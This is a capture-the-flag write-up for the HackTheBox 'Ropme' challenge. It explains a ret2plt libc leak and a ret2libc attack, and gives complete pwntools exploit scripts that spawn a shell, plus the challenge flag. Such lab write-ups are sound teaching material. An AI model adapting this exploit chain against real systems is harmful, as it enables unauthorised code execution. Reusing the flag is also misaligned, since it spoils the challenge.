Ropme was an 80pts challenge rated as Hard on HackTheBox. Personally, I don't believe it should have been a hard; the technique used is fairly common and straightforward, and the high points and difficulty is probably due to it being one of the first challenge on the platform.
Exploiting the binary involved executing a ret2plt attack in order to leak the libc version before gaining RCE using a ret2libc.
No PIE, meaning we can pull off the ret2plt. Let's leak the libc version.
from pwn import*elf = context.binary =ELF('./ropme')libc = elf.libcp = elf.process()# ret2pltrop =ROP(elf)rop.raw('A'*72)rop.puts(elf.got['puts'])rop.raw(elf.symbols['main'])p.sendline(rop.chain())# read the leaked puts addressp.recvline()puts =u64(p.recv(6) + b'\x00\x00')log.success(f'Leaked puts: {hex(puts)}')# Get baselibc.address = puts - libc.symbols['puts']log.success(f'Libc base: {hex(libc.address)}')
We can now leak other symbols in order to pinpoint the libc version, for which you can use something like here. Once you've done that, it's a simple ret2libc.
Final Exploit
from pwn import*elf = context.binary =ELF('./ropme')if args.REMOTE: libc =ELF('./libc-remote.so', checksec=False) p =remote('docker.hackthebox.eu', 31919)else: libc = elf.libc p = elf.process()# ret2pltrop =ROP(elf)rop.raw('A'*72)rop.puts(elf.got['puts'])rop.raw(elf.symbols['main'])p.sendline(rop.chain())### Pad with \x00 to get to correct length of 8 bytesp.recvline()puts =u64(p.recv(6) + b'\x00\x00')log.success(f'Leaked puts: {hex(puts)}')# Get baselibc.address = puts - libc.symbols['puts']log.success(f'Libc base: {hex(libc.address)}')# ret2libcbinsh =next(libc.search(b'/bin/sh\x00'))rop =ROP(libc)rop.raw('A'*72)rop.system(binsh)p.sendline(rop.chain())p.interactive()# HTB{r0p_m3_if_y0u_c4n!}